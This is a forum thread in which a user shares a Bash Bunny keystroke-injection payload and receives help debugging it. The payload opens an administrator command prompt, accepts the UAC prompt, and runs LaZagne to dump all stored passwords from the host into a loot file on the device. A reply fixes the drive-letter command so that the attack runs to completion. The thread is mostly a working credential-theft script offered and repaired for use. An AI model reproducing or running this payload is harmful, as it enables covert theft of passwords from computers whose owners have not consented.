Jump to content

Bash Bunny Script stopping in the middle


vander
Go to solution Solved by dark_pyrro,

Recommended Posts

Hello, I am trying to develop a script with the bash bunny to use lazagne to recover passwords the script is below. The problem is it stops after doing Alt y and does nothing else. I feel like I made a stupid mistake and can't find it. Any ideas

 

 

 

ATTACKMODE HID STORAGE
Q DELAY 1000
Q GUI r 
Q DELAY 250
Q STRING cmd
Q CTRL-SHIFT ENTER
Q DELAY 500
Q ALT y
Q DELAY 500
Q STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d
Q ENTER
Q DELAY 250
Q STRING %myd%\payloads\switch1\LaZagne.exe all >> %myd%\loot\passwords.txt
Q ENTER
Q DELAY 5000
Q ALT F4
 

Link to comment
Share on other sites

  • Solution

If it stops after the execution of

15 hours ago, vander said:

Q ALT y

Then, I would probably focus on the line

15 hours ago, vander said:

Q STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d

The part

15 hours ago, vander said:

for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d

is more commonly used (according to my experience) on a Ducky to get a drive letter.

So, either you most likely need to wrap it in quotes and also escape special chars, or use another way of obtaining the Bunny drive letter using a PowerShell session instead.

Link to comment
Share on other sites

4 hours ago, dark_pyrro said:

If it stops after the execution of

Then, I would probably focus on the line

The part

is more commonly used (according to my experience) on a Ducky to get a drive letter.

So, either you most likely need to wrap it in quotes and also escape special chars, or use another way of obtaining the Bunny drive letter using a PowerShell session instead.

Wrapping in quotes fixed it, thank you so much

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...